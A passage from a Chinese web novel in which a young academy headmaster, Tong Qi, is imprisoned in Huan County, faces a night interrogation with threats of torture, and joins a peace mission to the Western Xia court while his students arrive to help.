华夏书院内什么都缺,就是不缺蠢蠢欲动的学生。 及至半夜,安保队的防卫系统再次被人悄然关闭,谢君仪、柳三变以及小侯爷沈亦包袱款款,沿着乡间小路,便直接出了城,连潘阆都没有拦住。 谢君仪出身世家,钱最多,他出钱;小侯爷沈亦背靠侯府,他搞定的路引;而柳三变则是提前找好马车,顺带着拉上了医科班的王小花,以备不时之需。 万一山长受了伤,无人照料呢?他们总得带一个“奶妈”回血吧? 谢君仪和沈亦一脸的惊讶,“你怎么会认识王小花?她不是隔壁医科的吗?咱们读书都不在一栋楼里的,你如何见的面?” 柳三变一脸嘚瑟道。 “那是你们没有门路,况且,你们多大,我多大?我还没到男女大防的时候呢,所以她们并不避讳我。隔壁整个医科班的姐姐们我都认识,她们经常给我带好吃的,上个月的那个山楂丸,便是王姐姐给我的。” 啊……怪不得,他们就说哪里来的山楂丸,也没见到食堂有卖的啊,原来 是隔壁医科的! 很少和女孩子单独相处,谢君仪和沈亦均有些不太适应,尤其是以往他们遇到的女性不是长辈就是丫鬟,几乎很少平等的对话过,猛地身处同一个马车内,顿时连手脚都不知道该放到哪里去了。 倒是王小花十分的自然,一路上不仅准备了茶水吃食,还带了专门的各类草药及医科工具。 “这是新研究出来的晕车丸药,如果不舒服可以提前吃一粒。” 她从挎包里掏出几颗黑乎乎的丸子递给几人。 似乎半点没有把他们当成男人,只纯粹的视作了病患。 谢君仪与沈亦愣愣接过,一旁的柳三变则侧过身,低头小声询问向王小花,道。 “你走了,那曹时序怎么办,他腿上不是还有伤?” 因着人缘好,柳三变消息最是灵通,自然也知晓童启去环县的真正目的,以及曹家的事情。 王小花小心翼翼抬眸瞅了一眼其他两人,压低了声音道,“放心,他们我交给了虎妞去照顾,反正只要静静修养换药就行,山长已经处理的差不多了,没什么大碍。” 若是早知道山长会在环县动刀,她就应该无论如何请求对方带她一起上路的! 啧,凭白错过山长第一次手术的画面,这令她遗憾不已。 因此一听说柳三变等人要前往环县,她立马便跟了上来,要求同行。 四个人就这么水灵灵前往了西北之地,小小年纪,便勇敢跨越了半个大奉朝,去经历第一次的冒险之旅。 当然,他们走时也没忘留书一封,告诉潘阆先生。 直接将对方气的要死,连带着把书院的安保部门又训斥了一顿,提升了好几个等级,这才勉强罢休。 且说童启住在牢房内,每日悠闲,但也并非一无所获。 他收了两个编外的学生,没错,正是学生! 一个是狱卒许明奕,对方乃是华夏书院的铁杆粉丝,尤其喜欢各种探案集,在童启入狱之前,便读过华夏书院所有的校刊。 初次见面,他便像是请求夸奖的小孩子般,将所有校刊一一罗列在童启面前,兴奋说道。 “除了前两次,实在是抢不到,后期所有出的,我都托人收集起来了!您写的那些探案故事,简直绝了,我反复看了好多遍,实在是喜欢不已,简直就像是……就像是给我的人生指明了方向,令我打开了新的世界!您明白吗?” 童启局促不已,听着许明奕滔滔不绝讲述自己的故事。 也觉得十分神奇。 说来也怪,这许明奕家境不错,父母乃是环县出了名的马贩子,世世代代以贩马养马为生,与槽帮那是说不清道不明的关系,怎么也算是当地一个豪绅之家了,可偏偏养出来的亲儿子却对马半点不感兴趣,只喜欢那些打打杀杀,残酷狠厉的事情,尤其对案件之类十分钟爱。 父母担心其走歪,于是死缠烂打之下,托人谋了个缺,让其当上了环县的狱吏。每日就是泡在牢房里和犯人闲聊,商讨着案件里的细节,而童启开始连载起探案集之后,他便彻底入了迷,立志要当一名侦探。 不仅想办法混入了牢房里,还积极争取到了童启的负责权。 那什么棉被、锦缎便是他拿过来的。 每日三餐,也几乎是换着花样,如同供奉一般殷勤。 童启听他谈吐,也不是没有读过书的,四书五经倒背如流,只是对科举文章不大感冒,一心研究案件,便知道估摸着是个天赋开在单项点上的神人。 刻意指点之下,对方进步神速,不到一周的时间,便破获了环县大部分的悬案,连同十年前的档案都差点翻了出来,令整个衙门风气为之一肃。 的的确确是个有天分的。 童启惜才,不忍其这个天赋被丢失,于是便收了他为俗家弟子,编入华夏书院学生档案中,算作明年入学,但不强行要求对方一定要来上学。 特事特例,以后私下授课,就在信中进行即可。 许明奕大喜,没有想到自己竟还能有如此造化,当即第二日便在牢房里摆了谢师宴,规规矩矩的磕了三个头。 童启没什么可给的,便只能将藏书阁里的木牌赠与他,表示其今后乃是华夏书院一员,可随意借阅书籍,享有每个学生应有的权力。 而另一个学生,就有点不大好说了,乃是个神偷,叫做苍蝇。 其实他原名叫做神影手来着的,可是因为影字和蝇字读音相似,做的又是这种暗活,因此便被人戏称为苍蝇。 这小子多少有点反骨在身上,虽和童庆安出生一样,无父无母,可却不想伸手要饭,而是学会了偷。 只要他盯上的,便几乎没有偷不到的。 滑不溜秋的很。 原本环县县衙是怎么也抓不到,可自从对方听说童启被抓进了牢里,便直接上门自首了,非要关进和童启同一间牢房中。 不少人还以为他也是童启的迷弟,可谁知对方一见面却表示。 “我听说你身上有点邪乎,会各种的术法,能够让雷电之力给自己使用,所以很好奇。咱俩打个赌,若是我能够从你身上顺利偷走三样东西,而不被抓到,那你就得教我这个术法!相反,若是我暴露了,那以后便是你的人了,你让我往哪里我就往哪里,让我做什么,我便做什么,如何?” 童启:…… 这话说的怎么如此暧昧?什么你的人我的人,我没说想要啊!! 然而,小小的年纪,正是中二十足的时候,并非童启说拒绝就能拒绝的。 于是一场没人喊开始的比赛悄然发生,正吃着饭呢,他一把拉住了伸进自己兜里的手。 好家伙,这娃来真的?差点就将他身上的电动剃须刀偷走了? 那可是花费了他一张高级抽奖券才得到的啊! 要不是系统提醒,他就丢了! 童启一脸防范,捂住自己的兜,道,“你输了。” 刚开始便立马结束,苍蝇呆愣在原地,久久没有缓过神来。 他想不通怎么会被发现的,明明一开始对方压根没感觉啊?虽不大清楚那东西是干什么的,但看童启一脸心痛珍惜的样子,便知道应该是个值钱的。 苍蝇泄气不已,但愿赌服输,见许明奕拜了师,便也死皮赖脸跟上了童启。 一口一个师父、山长的。 就这么被强买强卖,收了两个徒弟,童启无语至极,但见到对方拜师后乖乖巧巧,再也不乱偷东西,便索性也不管了,就当是扶危济困,日行一善,劝人归正吧。 而靠着这两个徒弟,童启在牢狱里的生活,也空前绝后热闹了起来。 直到枢密使大人召见审问。 对方叫做齐承胤,乃是内阁一位退休的首辅大人长子。 年纪四十岁上下,八字胡,吊梢眼,大蒜鼻,甫一见面,便一副趾高气昂的模样,看起来十分阴险。 “你便是童启?那个煽动民心,挑唆我大奉朝和西夏友好关系的人?” 童启站在牢中,借着昏暗的灯火,看到对方手里拿着的和书。 只一面,便迅速清晰了对方的政治立场。 第73章 第73章半夜审讯 环县的牢房乃之字形设计,越往里,便越是阴暗湿冷。 为了恐吓折磨犯人,令他们早□□供,所以审讯室一直设计在最里端。 童启大半夜被从牢房里提溜出来,按坐在椅子上,本能的挣扎了一下。 湿漉漉的地面黏黏糊糊不知道沾着什么东西,煤油灯分挂两旁,映照出墙上的斑斑琢迹。 空气中一股发霉的味道,枢密使齐大人十指纤长,拿起旁边桌子上的东西,温柔把玩着,就如同在抚摸爱人一般。 借着光,童启才发现,那些竟然都是刑具。 “这个东西,童山长应该不认识吧?乃是女刑犯常用的拶子,只要将手指夹入其中,轻轻拉扯,便会瞬间收紧,造成剧烈的疼痛。我曾有幸见过一次,眼睁睁看着对方的十指被齐 齐夹断,痛不欲生。不过我觉得那还是比较干脆的,像是这颗铁钉,就比较折磨了,据说插入甲缝之中,可以将人所有的指甲全部剥落,但却不截断,造成甲壳与肉分离,但却共存的神奇场面,伴随着每一次新肉的长出,那旧旧的甲壳就会被顶开,反复摩擦,就连武将都难以承受几次这种折磨。不过童山长是文人,手又白嫩,想来应该不会那么麻烦?” 他绘声绘色的与童启讲解着。 放下那铁钉后,又缓缓拿起一旁的铁鞭,那鞭子上密密麻麻皆是倒刺,还沾染着一些不知道从哪里剥离下来的肉,血呼啦,看的人分外恶心。 童启忍不住咽了口唾沫,稍稍后仰了一下脑袋。 讲实话,他有些慌了。 浪是浪,作是作,笃定皇上应该不会杀他,可万一这大奉朝妖魔鬼怪不安套路出牌,真给他上点“干货”,以童启如今的身份,也是真的阻拦不了什么。 应该……不会这么倒霉吧? 他强撑着,硬着头皮讲道。 “按照大奉朝律法,刑不上大夫,我没有定罪,此时应该是不能被上刑的吧?” 枢密使笑盈盈放下手中的东西,表情幽暗。 “是啊,但是你若亲口承认自己别有居心,那就不一样了。” 他故意趁着大半夜,一个人没有通知,拉着童启出来审讯,不就是想营造这样一种吓人的气场,逼迫对方就范的吗?毕竟不过一个十一岁的孩子罢了,还是个文人,前程远大,何必要咬死了牙,坚持己见呢? 一旁的许明奕头皮发麻,见状,悄然退了出去,忙往外通风报信。 齐大人瞥了一眼,没有在意。 反正今日夜还很长。 他绕着童启慢悠悠转了一圈,好奇的俯下身,将他的脸颊微微抬起,审视着。 似乎在估量就这么个小个子竟然能够射伤西夏王子?实在是神奇无比。 “嗯,倒的确有点年轻气盛的样子,可惜,过于愚蠢,难免遮挡了狭窄的视野。” 他拨开童启的脸颊肉,掏出手帕,擦了擦手,一脸的不屑。 “以文人之姿射杀西夏王子,很骄傲吧?三年前,柏大将军还在环县驻扎的时候,光是每年阻挡西夏人的进攻,便挡下过上百次,救下不知多少黎明百姓、马匹粮草,被当地人称赞为绝世英雄。可不过才三年而已,还有谁,记得他的存在?是,你是痛快了,现在外面的人可都叫你大英雄呢,可你知道,朝廷这次要因为你,造成多大的损失吗?听闻你是个有名的词人,写的一手好文章,那不知你俗物如何,可能分得清基本的好赖?” 他嘲讽的将旁边的和书一把扔给童启,令他查看着。 “这是朝廷内十年的军需报表,你想战?好,那我便让你看看战的后果是什么。柏将军驻守环县二十年,每年的嚼用粮草,高达1500多万贯,这还不包括他们的武器、盔甲、马匹、战损、抚恤金,若是哪一年修筑了城池堡垒,冬夏多发了两件衣服,这个数字,便还要再往上翻个两番……” 而这还只是一条战线罢了。 东北部的契丹族、南部的交趾、新晋崛起的女真,再加上守着沿海地区的蛮子军…… 怪不得朝廷中人人不想打仗,这不战,每年的军费花销便已经足够惊人了,若是开打,那损失的钱又要从哪里来? 增税吗?百姓不叛乱才怪! 原本内阁与西夏皇室商量好的“岁贡”一年是10万两银,20万匹绢,可如今童启射了一箭,这个数字便要再往上增一倍之多。这还是西夏王室愿意既往不咎的情况,若对方执意要打,八成还会是柏大将军率军出击,就算按照平日驻军的四倍花销来算,那金额就已经高达6500万两白银,可即便赢了,又能如何呢?最多也不过是出一口气,抢过来一个州大小的地盘,占据的,却是一整年税收的百分之七十! 但凡一个会算账的,都能得出两者之间的优劣。 因此朝廷对吴县令的要求一直是,只要能稳住西夏人不犯边即可,至于杀没杀几个百姓,抢没抢几个妇女,比起这天价的军需来说,那都是小事。 “所以,你以为就你一个聪明人,别人都是傻子?热血,呵,可这份热血背后需要付出多大的代价呢,谁来承担,你能来承担吗?自以为是,自作聪明!蠢材!就这,还教书育人呢?只是看到你,我就能知道你这书院教出来的学生,是个什么模样了,不过都是写口中念着之乎者也的庸人罢了!” 童启微微皱起了一点眉头,无语的笑出声来。 账不是这么算的,对方明显是在偷换概念。 他低头快速估量着,很快便得出了如今大奉朝记录在册的士兵数量,竟然有八十多万人! 看来历史上北宋初期的雏形模式,已经渐渐显现。 冗兵、冗军、冗费,已然成为了拖垮整个朝廷的大问题。 见到童启冷笑,齐大人挑了挑眉。 “笑?怎么,你至今还觉得你那一箭,是好的吗?” “我从未觉得我那一箭是好的。” 童启乖巧的坐在椅子上,看了眼旁边桌子上的刑具,半点没有慌张的样子,仿佛只是在讲一个人人皆知的道理一般。 “我承认,当时我射出那一箭,有些冲动的成分,但我相信但凡任何一个大奉朝的子民在面对那样的场面时,都不可能忍得下来。齐大人,我理解你的出发点,但我并不赞同你的逻辑。按你所说的意思,我们求和乃是为了避免消耗更多,可对于一个山贼来说,初期对方只有一个人的时候是最好打的,若等他做大变强,成为一只百人队伍,那我们需要付出的力量就得乘以百倍。一时的割肉喂鹰,或许能够暂时让西夏停止进犯,但当那只鹰吃饱喝足,变得庞大,亦或者叫过来了隔壁的狼群,一同求食呢?你还会觉得,自己能够抵抗吗?” “曾有一个伟人说过这样一句话,打得一拳开,免得百拳来。一味的退让并不会让你的敌人变得仁慈,只会让他们更加贪婪。” 旁边的烛火猛地炸开,发出急促的噼啪声。 齐大人阴沉着脸色,俯视着童启,质问道。 “所以,你是觉得,即便倾家荡产,战也比不战要好?” “不,”童启解释道,“我只是觉得,事情都不是绝对的,有其他的方式可以解决军费的问题,但西夏的野心,必须压制!这不是死几个老百姓装作视而不见,就能够化解的,而是得告诉他们,我大奉朝不容冒犯,即便家中的一根稻草,也不能随意夺取侮辱。” 齐承胤站在牢狱之中,静静的注视着这个尚不足十一岁的孩童,沉默不语。 门外,许明奕慌里慌张的带着吴县令赶来,忙伸手阻拦道。 “不能打,不能打!齐大人,还请给三皇子几分薄面,千万不能对童启动手啊!” 这可是他们如今整个阵营里最名声大的文人,若毁了,那三殿下还不得气疯了? 找他算账? 童启见吴县令匆匆赶到,心底里也不由松了一口气,抬手将快要掏出的匕首,又重新塞了回去。 好家伙,刚才那一瞬间,他还以为对方真的会上手,差一点,就像系统说的那样,暴起反抗了。 没想到…… 别说,这种背后有人的感觉,还真有点爽啊!搞得他都快要心动,真加入三皇子旗下了。 齐大人冷笑一声,“原来是三皇子的人,还没入朝,倒是找好了靠山。行吧,既然你如此信誓旦旦,那我便看你有什么方法,能解决这西夏之事。明日,我要负朝廷之命前往西夏王廷谈判,你,跟着一起。” “什么?” 吴县令和许明奕等人皆吓了一大跳。 让童启去西夏王廷?那和让他送死有什么区别? 如今的西夏小王子仍旧在重伤昏迷之中,西夏王这个时候,见到他,怕不得拔刀相向吧? 童启若 有所思的看着齐大人,然而对方却没有令人拒绝的意思,仿佛只是来通知一声般,说罢,便转头离开了牢狱。 吴县令忙伸手将童启扶了起来,担心问道。 “没事吧?他没有伤害你吧?” 童启摇摇头。“没有,他只是吓唬了吓唬我。” 没错,吓唬。 如果童启没有感觉错的话,这位齐大人似乎并不像传言中的那样是个绝对的守和派,今夜来此,也并没有多大的敌意。 仿佛只是来听一听他的想法,判断一下他究竟是个怎么样的人罢了? 对方对西夏是个什么样的态度呢?又究竟打算采取怎样的方法呢? 实在是令人好奇- 这边虚惊一场,而另一边,快经历了一周的时间,华夏书院的四个小孩才总算到达了环县县城。 谢君仪和沈亦脸色发白,整个人都快瘫倒在了马车上。 像他们这种出身,哪里经历过如此的长途跋涉? 因此一掀开帘子,看到满面的风沙,破败的城墙,便重重的叹了口气,陷入了深深的崩溃之中。 “咱们先去哪儿?” 柳三变坐在车前询问道。 “酒楼!我要去这个县城里最大的酒楼!呕,我急需梳洗,好几日没有沐浴,我身上都快馊了!” 谢君仪低头闻了闻自己的袖口,满脸嫌弃。 “不,咱们要先去见山长,梳洗什么梳洗,山长还在牢里受罪呢,你怎么忍心自己先享受?”沈亦争执的坐起身,令马车掉头往县衙里去。 “那也不急于这一时吧,再说咱们就这么过去,能见到人吗?” “你不去怎么知道能不能见到?事在人为,实在不行,我就,我就把我爹爹的令牌拿出来,让那县令给我打开牢房!” 两个人一步不让的争执着,柳三变烦躁不已,刚想问问旁边王姐姐的意见,便见到对方看见了什么,瞬间变了脸色,跳下马车,追了过去。 “等一下,王小花,你要干嘛去?” 三人被吓了一跳,连忙驾车跟上。 许明奕拿着大包小包的吃食,穿过巷口,刚准备进入药房再采买点药品,给师父路上带着,便被一个女孩子一把抓到了角落里,用银针怼到了脖颈处。 “你是谁,为什么会有我们书院藏书阁的令牌?” 对方冷冷问道,凶狠十足。 第74章 第74章兵分两路 紧跟上来的谢君仪等人这才后知后觉注意到了许明奕腰间佩戴的东西,顿时神色一变。 “藏书阁的令牌?它怎么会在你的身上?” 要知道,华夏书院两大重地,一个是后山,另一个便是藏书阁。 尤其是藏书阁,因为其性质特殊,就连三皇子来时都没有被带着前往参观过,唯有得到山长亲自认证,发放的令牌,才能进入。 这基本上相当于华夏书院的“学生证”了。 而一个远在西北荒凉之地的环县人,又怎么可能会有?除非……他是从谁身上抢的! 当即,谢君仪几个人便迅速脑补出了一场大戏,悄然握住腰间的武器,全身紧绷,做好了为师报仇的准备。 许明奕瞅了眼脖颈处的银针,又看了看身前几个人的年纪和穿着,试探着问道。 “你们……难道也是华夏书院的人?” 也? 他知道华夏书院? 几个学生尚来不及反应过来,许明奕已经迅速通过他们的神色得到了确定。 “原来是师兄师姐们!”他忙行了一礼,“幸而你们来得巧,不然再晚,恐怕就要错过山长的最后一面了!” 王小花等人顿时瞪大了眼睛。 “什么?最后一面?山长怎么样了?” “不是,那群老东西竟然真的敢伤害山长吗?我跟他们拼了!” “写折子!我立马要回去让父亲写折子,上告给朝廷!” “他们竟敢对文人如此……” 几小只慌得不行,完完全全忽略了许明奕口中的称呼,顿时撸起袖子,便要往环县县衙而去。 许明奕忙拦下来,解释一番,他们这才知晓原来是昨日枢密使大人夜审童启,今日说好了要带着山长一起前往西夏和谈。 也就他们赶得巧,不然只差几个时辰,和谈的队伍就要出发了! “这么急?可山长不是刚杀了西夏的小王子……” 这个时候去,不是明摆着寻死嘛! 小侯爷沈亦一脸担忧。 其他的孩子们也俱是眉头紧锁。 “不行咱们就劫狱吧!好歹把山长先救出来再说,不然等真去了西夏,焉能有再回来的可能呢?”谢君仪提议道。 柳三变一脸无语,“你说得轻巧,若是能做,继本叔他们肯定早就做了,而且咱们又不认识这里的人!怎么救?” 几个人光天化日大喇喇商讨着“大不敬”之事,一点没有遮掩的意思,突然想起什么,又齐齐将脑袋转向了许明奕的身上。 不对,他们也不是完全不认识这里的人啊! 这儿不就已经有了一个? 许明奕:???- 环县县衙大牢内。 童启一大早便被狱卒叫了起来。 洗洗涮涮,穿戴齐整,如同礼物一般,等待着下午枢密使的队伍一起前往西夏。 苍蝇蹲守在一旁的牢房里,小心翼翼的询问道。 “山长,山长,咱们什么时候跑路啊?我已经让兄弟们准备好了,只等您一声令下!” 童启安安静静的坐在案几前,正研墨写着什么,听到他这话,忍不住笑出声。 “谁说咱们要跑路的?” “不然呢,您不会真的要前往西夏吧?那里可都是野蛮人!一声不吭是真的会杀人的!” 童启摇摇头,并未作答,只是将信件全部写完后,封存好,一并交给了旁边的狱卒。 “这两封,一封请发往京都交给三皇子,另一封则发往伊川,递给柏盛青柏大人,拜托了。” 那狱卒连忙摆手道。 “童山长不必客气,许哥已经跟我们打过招呼了,您的信件我们一定会安然送过去的,放心吧。” 其实,一开始,童启也并未想着要亲自前往西夏。 毕竟那地方不属于大奉朝范围内,且混乱不堪,根本不是他一个小小的书院山长能够左右的,而且马上期末了,他还得回去发放考卷,整理学生们的升学、招新等事务,没办法在此地久耗。 可昨夜齐大人的那一番言辞,令他稍稍有了点改观。 谁也不想看到战争,如果能够不打仗便解决问题,那自然是最好的。 国家安稳,读书才能够安定,若大奉朝此刻兴起动乱,那么第一个受害的,自然是明年等待乡试的这群考生们。 他亲自去一趟虽未必能够改变什么,可凭借着对历史的推演与了解,多多少少也能够防范一些。 未尝不是一件好事。 所以这西夏一行,看来还真是避免不了了。 不远处,细细碎碎的嘈杂声响起,牢狱门口,许明奕领着三个身高不一的人小心翼翼走了进来。 “你们需得快一些,最多只有一盏茶的时间,枢密使大人马上就要来了!” 童启闻声,抬眸望过去,只见谢君仪、沈亦、柳三变、王小花四人整整齐齐站在牢房门口,正扒着木栅栏,眼泪兮兮。 “山长!” “你们?怎么会在这里?” 童启一愣,没想到这几个小孩儿竟然会来此。 继本叔肯定是不可能带他们来的,潘阆先生也决不会放心,那么,只能是他们偷溜出来的了。 这胆子,万一路上遇到个什么山贼匪乱的…… 童启忍不住扶额叹道,“你们不好好在书院里读书,来这里做什么?” “我们听说了山长被下狱,放心不下,所以来看看!山长,您受苦了,我们已经从许明奕师弟那里听说了,枢密使齐大人来者不善,要不您先跟我们一起离开吧?咱们避一避风头,等事情过了之后再回来!” “对啊对啊,沈亦他父亲是侯爷,咱们可以先去侯府等着,我就不信他们敢搜!” 几小只七嘴八舌,说着便要掏出遮掩身形的衣服往童启身上套,被他连忙阻拦下来。 “稍安勿躁。你们啊你们,我难道没有教过你们君子慎始而无后忧的道理吗?凡事不能只想着自己,还应该考虑到方方面面,这不只是我越狱逃跑就能够解决的事情啊!” 真正的核心在于大奉朝和西夏的关系,而不在于他一人。 即便他走了,也不会影响什么。 可两国的百姓,那可就是真正的遭殃了,且他有直觉,这件事情并非一出难以解决的死局,若是他在,说不定还有转圜的余地,他不在,才是 真正的一边倒。 给钱或打仗,二选一。 “可西夏,危机四伏,您不能以身涉险啊!” 几个学生一脸担忧,童启长叹了口气,知晓他们的关心。 说不暖那是假的,都走了大半个疆域来这儿了,总不能让孩子们就这么离开,打道回府,那未免有些无情。 他想了想,挥挥手,让几个人靠近一些,道。 “这样吧,咱们兵分两路,西夏,我必是一定要去的,可还有一件事,我始终无法放下,正好你们来了,可以帮着我解决一二,就当做是你们的课后实践了,若完成的好,我自有奖励。” 奖励? 四小只顿时竖起了耳朵,靠了过去,一脸的兴奋。 谁不知山长手里有好宝贝? 每次拿出的东西,那都是世间罕有的好物件! 光是上一次蹴鞠赛奖励的徽章,听闻便有不少人寻了工匠妄图复刻出来,皆没有做出,后吴韧师兄将此作为定亲信物赠给了未过门的妻子,更是别提有多浪漫,令人羡慕了。 关键还是其背后的意义,乃是绝佳。 那可是象征着山长的肯定,整个书院里脱颖而出的存在啊!自然是拼了命也要拿到! 头一次被委托如此大事,几个人认真的听着,不住点头,虽有的地方一时无法理解,可也全盘接受了下去。 言毕,童启看向了旁边的许明奕,道,“你也一起,和他们共同行动,环县的事情我就交给你们了,等回来后,我可是要查看你们完成的答卷的。” “是!” 许明奕见到几个人一脸的兴致勃勃,不由咽下了后续的话来。 他本来是准备和山长一起前往西夏的,但这几个学生又是头一次来环县,没有人看顾不行,因此只得听令留下。 一旁的苍蝇眼见着他们离开后,这才忍不住问出了声来。 “山长,您为何不让他们陪着一同前往西夏呢?毕竟他们的身份在那里,多个人也多个护身符不是……” 他可早就听说过了,华夏书院有侯府出身的小公子,还有大名鼎鼎的谢家嫡系,今日一看,想必便是其中两位了,若一同出使西夏,即便帮不上什么,也能令朝廷投鼠忌器,不敢随便抛弃他们。 童启自然知晓这个道理,只是,利用学生,并非他的习惯。 在他这里,每个招收进来的学生都是独一无二的宝贝,不能因为身份不同,便去借势或者消耗。 西夏形势不明,他一个人闯便够了,其他人,没必要一同犯险。 苍蝇听完这番解释,心里久久无法平静下来。 平等,尊重? 这好似是他这辈子第一次听到过的词汇,本以为不过是虚词,但没想到竟真的会被人贯彻始终,当做真正的道理去遵循,都说“父母之爱子,则为之计深远”,头一次,自小便没有父母的苍蝇,竟然从童山长的身上,感受到了那种无私的父母之爱,只这份爱,便令他忍不住靠近沦陷,哪怕飞蛾扑火,也愿意守候下去。 所以即便童启说了,不令他跟随,他也乔装打扮混进了仪仗队里,一同前往了西夏。 许明奕、谢君仪等人高站在城墙之上,注视着几百人的队伍浩浩荡荡越过边境线,往西而去,不由得长叹了一口气。 此去危险重重,也不知何日才能归来。 而他们能做的,只有尽量在大后方完成山长所发布的任务,为此次的和谈多争取一点可能罢了。 但愿,一切顺利。 童启安坐在马车内,低头查看着木奎盛递上来的礼物清单。 “这些,便是我们此次和谈,带过去的礼物。齐大人的意思是,能和,则还是以和为贵,朝中不少人还是希望尽量能保住你的,毕竟百姓们呼声很高,皇上和三殿下对你也极是喜欢,所以这一次你过去,要想办法跟西夏王道个歉,大家相视一笑,也便算了。他那小儿子,我们打听过了,并未死,只是肩膀上中了一箭,如今重伤未愈罢了,还有得救。只要西夏王不掀起战事,那么我们就还按照以往的岁贡继续进行。” “岁贡,指的就是每年免费给对方送个十几万两的白银吗?” 童启无语的反问道,木奎盛尴尬的摆摆手,示意他见好就收。 童启无奈的细看过去,只见这礼单上,不仅有着绢棉布匹,几名御医,还有着上百来的女子一同随行,不由皱紧了眉头。 “为何还会有女子出现在仪仗队里?” 不是说送给西夏王的礼物吗? 木奎盛一副男人都懂的模样撞了撞他的肩膀,道,“不是说西夏少女人吗,我们这也是对症下药。” 童启瞬间便黑了脸。 难怪历史上靖康之变能够做出将大量皇室女性及宗妇一同送往金军营中的事情,合着这源头竟然是在这里? 他冷笑一声,自认不算什么大男子主义的人,但依旧觉得用女人去求和,将国家的兴衰耻辱全部算在女人身上的这种做法,实在是丢脸至极!枉为男人! 尤其这群女孩子才不过十二三岁!正是上学的年纪! 哪里就肩负起什么国计民生了? 他提笔直接将这百人女子划掉,没等木奎盛出言阻止,便从怀中掏出了一枚水晶球来。 这是他在牢里闲着时用几张低阶抽奖券偶然抽出的东西,本打算回头留着用来哄医科的小姑娘们,用作学业奖励,如今看来,倒是适合作为华而不实的“礼物”赠给西夏王室去。 木奎盛一双眸瞬间被吸引住。 “这……这是何物?” 看起来像是琉璃做的,但巴掌大的玩意儿,里面竟然还布着景?随着上下左右的颠倒,便如同那大雪翻飞般,纷纷扬扬的落下,绝美而精致,一看,便价值千金! “我也是偶然才得到的,仅此一个。你看,若拿这个来抵那一百名女孩,如何?” 木奎盛狠狠心动了。 他忙前往前一个车厢中去询问枢密使齐承胤,对方自然也是惊讶非常,很快同意。 毕竟一百名女子在大奉朝,实在不值几个钱。 “倒是童山长,没想到还有点子无用的恻隐之心,倒是令我们羞惭了。” 齐大人阴阳怪气的说道,童启忍不住回怼。 “嗯,是该羞惭,毕竟朝廷里当官的都是男人,出了事,却总让女人来帮忙擦屁股,不知道的,还以为是没有断了奶呢。” “你!” 齐大人没有生气,倒是他旁边的侍卫各个拔刀相向,羞辱异常。 对方晦涩的垂眸看了一眼童启,若有所思道,“童山长伶牙俐齿,希望回头到了西夏,也能够依旧保持才是。” 说罢,他转身回了队伍的最前方,吓得苍蝇差一点便暴露身份,一路扛着童启往回跑了。 一行人走了大约二日多,才总算到达了目的地。 西夏王廷居于环县往西,三百公里左右的兴庆府内,地址大概相当于如今的银川市贺兰山东麓。 整个城镇与大奉朝并无太大区别,主街道呈凸字形,分为前中后三个部分,正中间一条宽阔大道,连接着主殿,其余偏殿则如同众星拱月般环在四周。绿色琉璃瓦铺就的屋顶上,趴着脊兽等祥瑞,富丽堂皇,精致异常,远比华夏书院系统出品的教学楼还要再漂亮个好几倍! 值得注意的是,玻璃出现也没几年,可西夏王廷内所有的窗户却都被换了个遍,足见其财力之厚! 一位将军穿着铠甲带着人前来接应,许是提前打了招呼,他们一行畅通无阻,直接被带进了主街道之中。 并无阻拦。 直到靠近主殿,童启这才被缓缓请下了马车,与枢密使和木奎盛大人齐齐站在一处,等待着西夏王的“召见”。 凭借着灵活的身形,苍蝇悄然越过人群,守在童启的身后。 而两旁的西夏侍卫则在听到童启名字的一瞬间,纷纷怒目而视,忍不住握紧了手里的武器。 齐大人瞟了一眼,没有在意。 不一会儿,一个热情宽厚的年轻男人便快步走了出来,行礼道。 “还请诸位见谅,父王偶感风寒,今日恐不能到场了,便暂时由我接待各位使团的到来,诸位里面请。” 齐大人和木奎盛皆是脸色一青。 他们代表的可是大奉朝,那西夏王竟然敢称病不出,只派一个王子前来接待?实在是胆大包天! 可因着是来和谈,几个人也只得暂时咽下这口气,并未发作。 一行人被请入了殿内。 接待他们的乃是西夏大王子李德明,童启曾在历史上读到过这个人,其宽厚聪慧,目光远见,颇有政治头脑,不仅使西夏在塞垣之下“有耕无战逾三十年”,还一手缔造了西夏的繁荣时期,为他的儿子提供好了绝佳的起兵条件,为今后大宋、辽、西夏三足鼎立创造了初始根基。 他客客气气的引着几人入座,态度恭敬而热情,提及小王子的事情,更是一脸唏嘘。 “也是他年纪小,不懂事,总喜欢逞凶作恶,如今得到一箭,也算是个教训。父王其实并未放在心上,只是母亲有些伤心,日夜难安罢了,倒是辛苦朝廷里的各位大人,为我们劳心了。” 一番话,说的滴水不漏,谦逊而有礼。 齐大人笑盈盈令人奉上礼物,满口客套。 呵,说着不在意,那大军倒是退啊,他们千里迢迢过来,好歹也是朝中的一品大员,可西夏王却连接待都没有接待,还敢说没有异心? 骗鬼呢吧。 旁边的木奎盛不悦的垂眸喝了一口茶,又苦又涩,翻开茶碗,见里面皆是茶叶沫子,又缓缓盖上。 童启眼观鼻鼻观心,乖巧的坐在一旁,没有说话。 可李德明却将视线缓缓移到了他的身上,“莫听穿林打叶声,何妨吟啸且徐行,竹杖芒鞋轻胜马,谁怕,一蓑烟雨任平生……想必,这位便是一箭射中了我弟弟的童启童山长了吧?早就听闻其才华横溢,年轻有为,今日一见,果然名不虚传。不知对我西夏王庭可还满意?若有招待不周之处,还望见谅。” 没想到这词竟然都流传到了这儿,童启有些惊讶,忙起身还礼,口称不敢。 一旁的齐大人深深的看了眼童启,没有开口。 他们就这样被留了下来,住在王庭中,准备第二日的和谈事宜。 而童启则独自被放置在了侧殿里,成为了使团中唯一一个闲下来的人。 苍蝇一身侍卫的衣服,小心翼翼端着水,进来给童启洗漱。 “山长,这个王庭有些奇怪啊。” “哪里奇怪?” 童启接过擦脸的帕子简单擦了一下。 “您看他们用的东西,非金即银,就连洗脸的盆子都雕着花,看起来极为精致,可我见那些侍卫们吃的东西,却连咱们最穷的百姓们都比不上!聊起来也奇怪的很,我问他们西夏王身体怎么样了,他们竟然问我哪个王?简直搞笑,难不成,他们还有两个西夏王吗?” 童启手下一滞,瞬间惊讶的抬起头看向他。 苍蝇一愣,“不是吧?难不成真的有两个?” 童启忙令他噤声,这才小声解释起如今西夏的格局来。 